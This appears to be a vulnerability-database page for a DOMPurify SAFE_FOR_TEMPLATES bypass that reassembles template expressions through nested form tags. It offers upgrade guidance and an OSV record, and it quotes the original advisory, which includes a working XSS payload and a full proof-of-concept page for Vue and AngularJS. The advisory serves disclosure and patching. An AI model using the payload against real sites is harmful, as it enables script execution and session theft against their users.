CVE-2026-144292: DOMPurify SAFE_FOR_TEMPLATES bypass Nested <form> Makes A Template Vulnerability

HIGH
Advisory Identifier: GHSA-hrxw-jjj6-2g2j
CWE-79 CWE-1336
Published
Advisory Summary

CVE-2026-144292 is a HIGH nested <form> makes a template vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting DOMPurify SAFE_FOR_TEMPLATES bypass libraries in the npm ecosystem. The issue involves nested <form> makes a template expression reassemble when sanitized output is reparsed. Remediation is available by upgrading affected packages to version 3.5.0.

CVE-2026-144292 at a Glance

CVE Identifier CVE-2026-144292
GHSA Identifier GHSA-hrxw-jjj6-2g2j
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product DOMPurify SAFE_FOR_TEMPLATES bypass
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-144292

To remediate this vulnerability, upgrade all affected DOMPurify SAFE_FOR_TEMPLATES bypass dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

dompurify fixed: 3.5.0
npm install dompurify@3.5.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls dompurify

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-144292, inspect your project dependencies using npm:

npm ls dompurify

Analyze the terminal output to locate any version of DOMPurify SAFE_FOR_TEMPLATES bypass in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.5.0), your application is affected.

Note: The npm ls dompurify command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In DOMPurify SAFE_FOR_TEMPLATES bypass, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary With `SAFE_FOR_TEMPLATES: true`, DOMPurify 3.4.18 returns a string that contains no `{{` or `}}`, yet becomes a live `{{…}}` expression as soon as it is assigned to `innerHTML`. A template engine that compiles that DOM (verified with Vue 3 in-DOM templates and AngularJS 1.8.3) evaluates the attacker's expression, giving arbitrary JavaScript execution. The attacker controls only the markup passed to `sanitize()`. The only configuration required is `SAFE_FOR_TEMPLATES: true`, which is a protective option used for its documented purpose. Reproduced on DOMPurify 3.4.18 (npm `latest`) in Chromium 156, Firefox 157 and WebKit 27.2. The plain `{{…}}` case is still scrubbed correctly, so this is a gap in the existing protection. ### Details SAFE_FOR_TEMPLATES is enforced in two places in `src/purify.ts`, and neither accounts for how the returned string is parsed a second time by the consumer. 1. Per text node, during the walk (around line 2122): ```ts /* Sanitize element content to be template-safe */ if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) { const content = _stripTemplateExpressions(currentNode.textContent); ... ``` 2. After serialization, a tree scrub that only runs when the serialized output contains a marker (around line 2872): ```ts if ( SAFE_FOR_TEMPLATES && regExpTest(EXPRESSIONS.TMPL_MARKER_SERIALIZED, serializedHTML) ) { _scrubOwnCharacterData(body); serializedHTML = WHOLE_DOCUMENT ? body.outerHTML : body.innerHTML; } ``` with `TMPL_MARKER_SERIALIZED = /{{|}}|\${|<%|%>|&lt;%|%&gt;/` in `src/regexp.ts`. Input: ```html <form><div>{</form><form>{constructor.constructor('alert(1)')()}</form>} ``` Step 1, first parse (inside DOMPurify). `</form>` clears the parser's form element pointer while the `<div>` is still open, so the second `<form>` is accepted as a child of the `<div>`. The tree has three separate text nodes, `{`, `{…}` and `}`, with an element between them. No single text node contains `{{` or `}}`, so the per-node scrub does nothing. Step 2, serialization: ```html <form><div>{<form>{constructor.constructor('alert(1)')()}</form>}</div></form> ``` The string contains no `{{` or `}}` (a `<form>` tag sits between the braces), so `TMPL_MARKER_SERIALIZED` does not match and the post-serialization scrub is skipped. Even if it ran, it works on the same tree, where the fragments are separate text nodes. Step 3, second parse (in the consumer). When this string is assigned to `innerHTML`, the HTML parser ignores the inner `<form>` start tag because a form is already open. The three fragments become adjacent and merge into one text node: ``` {{constructor.constructor('alert(1)')()}} ``` Root cause: the guarantee is checked on DOMPurify's own tree and on the serialized string, but the output is not stable under a second parse. A nested `<form>` is a case where serialize-then-parse changes which text nodes are adjacent. Suggested direction: - After serialization, parse the output once more and run the text-node scrub on that tree, repeating until stable; or - under SAFE_FOR_TEMPLATES, remove a `<form>` nested inside another `<form>`, since it cannot survive a reparse; or - treat a lone `{` / `}` at a text-node boundary as unsafe when the neighbouring text across an element boundary starts or ends with a brace. A regression test for this shape would be worth adding; the current suite has none. ### Proof of concept Tested with DOMPurify 3.4.18 (npm `latest`), Vue 3.5.45 and AngularJS 1.8.3 on Chromium 156, Firefox 157 and WebKit 27.2. Configuration: `{ SAFE_FOR_TEMPLATES: true }`, nothing else. Minimal check: ```js const clean = DOMPurify.sanitize( "<form><div>{</form><form>{constructor.constructor('alert(1)')()}</form>}", { SAFE_FOR_TEMPLATES: true } ); // clean === "<form><div>{<form>{constructor.constructor('alert(1)')()}</form>}</div></form>" const div = document.createElement('div'); div.innerHTML = clean; // div.textContent === "{{constructor.constructor('alert(1)')()}}" (single text node) ``` End-to-end: save as `poc.html` and open it in a browser. ```html <!doctype html> <meta charset="utf-8"> <script src="https://unpkg.com/dompurify@3.4.18/dist/purify.js"></script> <script src="https://unpkg.com/vue@3.5.45/dist/vue.global.prod.js"></script> <script src="https://unpkg.com/angular@1.8.3/angular.min.js"></script> <div id="vue-host"><div class="comment"></div></div> <div id="ng-host"><div class="comment"></div></div> <pre id="log"></pre> <script> const log = (m) => (document.getElementById('log').textContent += m + '\n'); window.xss = (tag) => log('EXECUTED: ' + tag); const cfg = { SAFE_FOR_TEMPLATES: true }; const wrap = (expr) => `<form><div>{</form><form>{${expr}}</form>}`; log('DOMPurify ' + DOMPurify.version); // Vue 3 (in-DOM template) const cleanVue = DOMPurify.sanitize(wrap(`$emit.constructor('xss("vue")')()`), cfg); log('vue clean: ' + cleanVue); document.querySelector('#vue-host .comment').innerHTML = cleanVue; Vue.createApp({}).mount('#vue-host'); // AngularJS 1.8.3 const cleanNg = DOMPurify.sanitize(wrap(`constructor.constructor('xss("ng")')()`), cfg); log('ng clean : ' + cleanNg); document.querySelector('#ng-host .comment').innerHTML = cleanNg; angular.bootstrap(document.getElementById('ng-host'), []); </script> ``` Expected: the sanitized strings contain no live expression and nothing executes. Actual, identical in all three browsers: ``` DOMPurify 3.4.18 vue clean: <form><div>{<form>{$emit.constructor('xss("vue")')()}</form>}</div></form> EXECUTED: vue ng clean : <form><div>{<form>{constructor.constructor('xss("ng")')()}</form>}</div></form> EXECUTED: ng ``` Control, same config: `<p>{{constructor.constructor('alert(1)')()}}</p>` returns `<p> </p>`. Server-side: with DOMPurify 3.4.18 on jsdom 27.0.1, the payload returns the same string, and parsing that string yields a single text node `{{constructor.constructor('alert(1)')()}}`. ### Impact Cross-site scripting through client-side template. An attacker who can submit markup (a comment, a profile field, a rich-text message) gets arbitrary JavaScript execution in the page's origin for every user who views it: session theft, actions on behalf of the victim, and content manipulation.

CVE-2026-144292 Affected DOMPurify SAFE_FOR_TEMPLATES bypass Versions

1 component(s)
Fixed Versions:
3.5.0
Product / Package Ecosystem Affected Versions Fixed Version
dompurify
npm
< 3.5.0
3.5.0

References

Frequently Asked Questions

What is CVE-2026-144292?
CVE-2026-144292 is a security vulnerability in DOMPurify SAFE_FOR_TEMPLATES bypass involving nested <form> makes a template expression reassemble when sanitized output is reparsed under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which DOMPurify SAFE_FOR_TEMPLATES bypass versions are affected?
Affected versions include releases prior to 3.5.0 across affected packages: dompurify.
What version fixes CVE-2026-144292?
Upgrading to 3.5.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is dompurify affected?
Yes, dompurify is affected in releases prior to 3.5.0. Upgrade your dependency to 3.5.0 or later.
What CWE is associated with CVE-2026-144292?
CVE-2026-144292 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check npm dependencies for CVE-2026-144292?
Run the dependency tree command: 'npm ls dompurify'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hrxw-jjj6-2g2j",
  "modified" : "2026-12-03T23:56:52Z",
  "published" : "2026-12-03T23:56:52Z",
  "aliases" : [ "CVE-2026-144292" ],
  "summary" : "DOMPurify SAFE_FOR_TEMPLATES bypass: nested <form> makes a template expression reassemble when sanitized output is reparsed",
  "details" : "### Summary\n\nWith `SAFE_FOR_TEMPLATES: true`, DOMPurify 3.4.18 returns a string that contains no `{{` or `}}`, yet becomes a live `{{…}}` expression as soon as it is assigned to `innerHTML`. A template engine that compiles that DOM (verified with Vue 3 in-DOM templates and AngularJS 1.8.3) evaluates the attacker's expression, giving arbitrary JavaScript execution.\n\nThe attacker controls only the markup passed to `sanitize()`. The only configuration required is `SAFE_FOR_TEMPLATES: true`, which is a protective option used for its documented purpose.\n\nReproduced on DOMPurify 3.4.18 (npm `latest`) in Chromium 156, Firefox 157 and WebKit 27.2. The plain `{{…}}` case is still scrubbed correctly, so this is a gap in the existing protection.\n\n### Details\n\nSAFE_FOR_TEMPLATES is enforced in two places in `src/purify.ts`, and neither accounts for how the returned string is parsed a second time by the consumer.\n\n1. Per text node, during the walk (around line 2122):\n\n   ```ts\n   /* Sanitize element content to be template-safe */\n   if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {\n     const content = _stripTemplateExpressions(currentNode.textContent);\n     ...\n   ```\n\n2. After serialization, a tree scrub that only runs when the serialized output contains a marker (around line 2872):\n\n   ```ts\n   if (\n     SAFE_FOR_TEMPLATES &&\n     regExpTest(EXPRESSIONS.TMPL_MARKER_SERIALIZED, serializedHTML)\n   ) {\n     _scrubOwnCharacterData(body);\n     serializedHTML = WHOLE_DOCUMENT ? body.outerHTML : body.innerHTML;\n   }\n   ```\n\n   with `TMPL_MARKER_SERIALIZED = /{{|}}|\\${|<%|%>|&lt;%|%&gt;/` in `src/regexp.ts`.\n\nInput:\n\n```html\n<form><div>{</form><form>{constructor.constructor('alert(1)')()}</form>}\n```\n\nStep 1, first parse (inside DOMPurify). `</form>` clears the parser's form element pointer while the `<div>` is still open, so the second `<form>` is accepted as a child of the `<div>`. The tree has three separate text nodes, `{`, `{…}` and `}`, with an element between them. No single text node contains `{{` or `}}`, so the per-node scrub does nothing.\n\nStep 2, serialization:\n\n```html\n<form><div>{<form>{constructor.constructor('alert(1)')()}</form>}</div></form>\n```\n\nThe string contains no `{{` or `}}` (a `<form>` tag sits between the braces), so `TMPL_MARKER_SERIALIZED` does not match and the post-serialization scrub is skipped. Even if it ran, it works on the same tree, where the fragments are separate text nodes.\n\nStep 3, second parse (in the consumer). When this string is assigned to `innerHTML`, the HTML parser ignores the inner `<form>` start tag because a form is already open. The three fragments become adjacent and merge into one text node:\n\n```\n{{constructor.constructor('alert(1)')()}}\n```\n\nRoot cause: the guarantee is checked on DOMPurify's own tree and on the serialized string, but the output is not stable under a second parse. A nested `<form>` is a case where serialize-then-parse changes which text nodes are adjacent.\n\nSuggested direction:\n\n- After serialization, parse the output once more and run the text-node scrub on that tree, repeating until stable; or\n- under SAFE_FOR_TEMPLATES, remove a `<form>` nested inside another `<form>`, since it cannot survive a reparse; or\n- treat a lone `{` / `}` at a text-node boundary as unsafe when the neighbouring text across an element boundary starts or ends with a brace.\n\nA regression test for this shape would be worth adding; the current suite has none.\n\n### Proof of concept\n\nTested with DOMPurify 3.4.18 (npm `latest`), Vue 3.5.45 and AngularJS 1.8.3 on Chromium 156, Firefox 157 and WebKit 27.2.\n\nConfiguration: `{ SAFE_FOR_TEMPLATES: true }`, nothing else.\n\nMinimal check:\n\n```js\nconst clean = DOMPurify.sanitize(\n  \"<form><div>{</form><form>{constructor.constructor('alert(1)')()}</form>}\",\n  { SAFE_FOR_TEMPLATES: true }\n);\n// clean === \"<form><div>{<form>{constructor.constructor('alert(1)')()}</form>}</div></form>\"\n\nconst div = document.createElement('div');\ndiv.innerHTML = clean;\n// div.textContent === \"{{constructor.constructor('alert(1)')()}}\"  (single text node)\n```\n\nEnd-to-end: save as `poc.html` and open it in a browser.\n\n```html\n<!doctype html>\n<meta charset=\"utf-8\">\n<script src=\"https://unpkg.com/dompurify@3.4.18/dist/purify.js\"></script>\n<script src=\"https://unpkg.com/vue@3.5.45/dist/vue.global.prod.js\"></script>\n<script src=\"https://unpkg.com/angular@1.8.3/angular.min.js\"></script>\n<div id=\"vue-host\"><div class=\"comment\"></div></div>\n<div id=\"ng-host\"><div class=\"comment\"></div></div>\n<pre id=\"log\"></pre>\n<script>\n  const log = (m) => (document.getElementById('log').textContent += m + '\\n');\n  window.xss = (tag) => log('EXECUTED: ' + tag);\n  const cfg = { SAFE_FOR_TEMPLATES: true };\n  const wrap = (expr) => `<form><div>{</form><form>{${expr}}</form>}`;\n  log('DOMPurify ' + DOMPurify.version);\n\n  // Vue 3 (in-DOM template)\n  const cleanVue = DOMPurify.sanitize(wrap(`$emit.constructor('xss(\"vue\")')()`), cfg);\n  log('vue clean: ' + cleanVue);\n  document.querySelector('#vue-host .comment').innerHTML = cleanVue;\n  Vue.createApp({}).mount('#vue-host');\n\n  // AngularJS 1.8.3\n  const cleanNg = DOMPurify.sanitize(wrap(`constructor.constructor('xss(\"ng\")')()`), cfg);\n  log('ng clean : ' + cleanNg);\n  document.querySelector('#ng-host .comment').innerHTML = cleanNg;\n  angular.bootstrap(document.getElementById('ng-host'), []);\n</script>\n```\n\nExpected: the sanitized strings contain no live expression and nothing executes.\n\nActual, identical in all three browsers:\n\n```\nDOMPurify 3.4.18\nvue clean: <form><div>{<form>{$emit.constructor('xss(\"vue\")')()}</form>}</div></form>\nEXECUTED: vue\nng clean : <form><div>{<form>{constructor.constructor('xss(\"ng\")')()}</form>}</div></form>\nEXECUTED: ng\n```\n\nControl, same config: `<p>{{constructor.constructor('alert(1)')()}}</p>` returns `<p> </p>`.\n\nServer-side: with DOMPurify 3.4.18 on jsdom 27.0.1, the payload returns the same string, and parsing that string yields a single text node `{{constructor.constructor('alert(1)')()}}`.\n\n### Impact\n\nCross-site scripting through client-side template.\n\nAn attacker who can submit markup (a comment, a profile field, a rich-text message) gets arbitrary JavaScript execution in the page's origin for every user who views it: session theft, actions on behalf of the victim, and content manipulation.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "dompurify"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.5.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/cure53/DOMPurify/security/advisories/GHSA-hrxw-jjj6-2g2j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-144292"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/cure53/DOMPurify/pull/1744"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/cure53/DOMPurify/commit/d05b24333a25f6f2e949493749523563f15230e2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/cure53/DOMPurify"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/cure53/DOMPurify/releases/tag/3.5.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1336", "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-12-03T23:56:52Z",
    "nvd_published_at" : "2026-12-03T18:17:26Z"
  }
}